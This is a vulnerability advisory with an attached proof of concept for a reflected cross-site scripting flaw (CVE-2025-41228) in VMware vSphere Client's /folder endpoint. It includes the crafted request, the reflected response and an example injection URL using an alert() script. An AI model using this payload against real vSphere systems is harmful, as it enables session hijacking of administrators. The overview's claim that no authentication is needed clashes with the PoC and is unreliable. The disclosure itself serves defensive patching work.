Overview
The recently identified vulnerability in VMware vSphere Client version 8.0.3.0, designated as CVE-2025-41228, is a reflected Cross-Site Scripting (XSS) flaw. This security issue allows an attacker to inject malicious scripts into web pages viewed by users, potentially compromising their session and sensitive data. As enterprises increasingly rely on virtual infrastructure, understanding and addressing this vulnerability is crucial for maintaining security integrity.
Technical Details
CVE-2025-41228 manifests when the vSphere Client fails to properly validate user input, allowing attackers to craft a URL containing malicious JavaScript code. When an unsuspecting user clicks on this URL, the embedded script executes within the context of the user’s browser, leading to unauthorized actions on behalf of the user. This exploitation can occur without any authentication, making it particularly dangerous for organizations using the vSphere Client in public-facing environments.
For instance, an attacker could send a phishing email containing a crafted link to the vSphere Client. Upon clicking it, the victim’s session could be hijacked, leading to unauthorized access to sensitive configurations or data within the virtual environment.
Impact
The potential consequences of this vulnerability are severe. Successful exploitation could lead to unauthorized access to administrative functions, data breaches, or even full system compromise. The impact extends beyond individual users; it can jeopardize the entire virtual infrastructure, leading to significant operational disruptions and financial losses for organizations.
Mitigation
To protect against CVE-2025-41228, organizations should promptly update to the latest version of VMware vSphere Client, ensuring they are running a patched version that addresses this vulnerability. Additionally, implementing web application firewalls (WAF) can provide an additional layer of security by filtering out malicious requests before they reach the application.
Moreover, educating users about the risks of clicking on unknown links and employing robust security practices, such as multi-factor authentication (MFA), can further mitigate potential exploitation. Regular security assessments and vulnerability scanning should also be part of an organization’s cybersecurity strategy to identify and remediate vulnerabilities promptly.
Proof of Concept (PoC)
# VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Exploit Title**: VMware vSphere Client 8.0.3.0 - Reflected Cross-Site Scripting (XSS)
- **Date**: 2025-08-08
- **Exploit Author**: Imraan Khan (Lich-Sec)
- **Vendor Homepage**: [https://www.vmware.com](https://www.vmware.com)
- **Version**: vSphere Client 8.0.3.0
- **Tested On**: Web interface (Chrome 138)
- **CVE**: CVE-2025-41228
- **Category**: WebApps
---
## Description
A reflected Cross-Site Scripting (XSS) vulnerability exists in VMware vSphere Client version 8.0.3.0. The application fails to sanitize input passed via a query string to the `/folder` endpoint, resulting in arbitrary JavaScript execution when the reflected value is rendered into an HTML form’s `action` attribute.
The vulnerability was confirmed by intercepting a request through Burp Suite and injecting a malicious payload. This XSS only successfully executes when the response is rendered by a browser within an **active session**, such as one initiated via prior authentication.
---
## Steps to Reproduce
### 1. Initiate request to vulnerable endpoint
Open a browser and navigate to:
```
https://host/folder?ht7j4
```
This sends a benign request that you will intercept.
---
### 2. Intercept and modify the request using Burp Suite
With Burp Suite proxy enabled, capture the request and modify the query string to inject the XSS payload:
```
GET /folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1 HTTP/2
Host: 192.168.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Referer: https://192.168.x.x/
Accept: text/html,application/xhtml+xml
```
Then forward the request to the server.
---
### 3. Observe the reflected payload in the HTTP response
In the Burp HTTP Response, the payload appears unencoded within the HTML:
```html
<form action="/folder?ht7j4"><script>alert('ThisIsAnXSSBug')</script>tnkav=1" method="POST">
<input name="VMware-CSRF-Token" type="hidden" value="..." />
```
This confirms that the payload is reflected back into the HTML in a dangerous context — inside a form’s `action` attribute — allowing script execution.
---
### 4. Trigger script execution
Because the XSS is reflected but only renders within the full browser context, to observe the popup:
- Forward the exact same malicious request using Burp **with an authenticated session (cookies included)**.
- OR, use Burp's **"Open in Browser"** feature (with session cookies) to request the full response as a browser would.
Upon rendering the page, the browser will execute the injected `<script>`.
Example payload URL:
```
https://192.168.x.x/folder?ht7j4"><script>alert(1)</script>tnkav=1
```
---
## Impact
Successful exploitation results in arbitrary JavaScript execution within the vSphere Client’s web interface. This could be leveraged for phishing, session hijacking, or further compromise of the admin's browser session.
---
## Recommendation
Upgrade to VMware vCenter Server version **8.0 U3e or later**, which remediates **CVE-2025-41228**.
---
## References
- https://nvd.nist.gov/vuln/detail/CVE-2025-41228
- https://www.vmware.com/security/advisories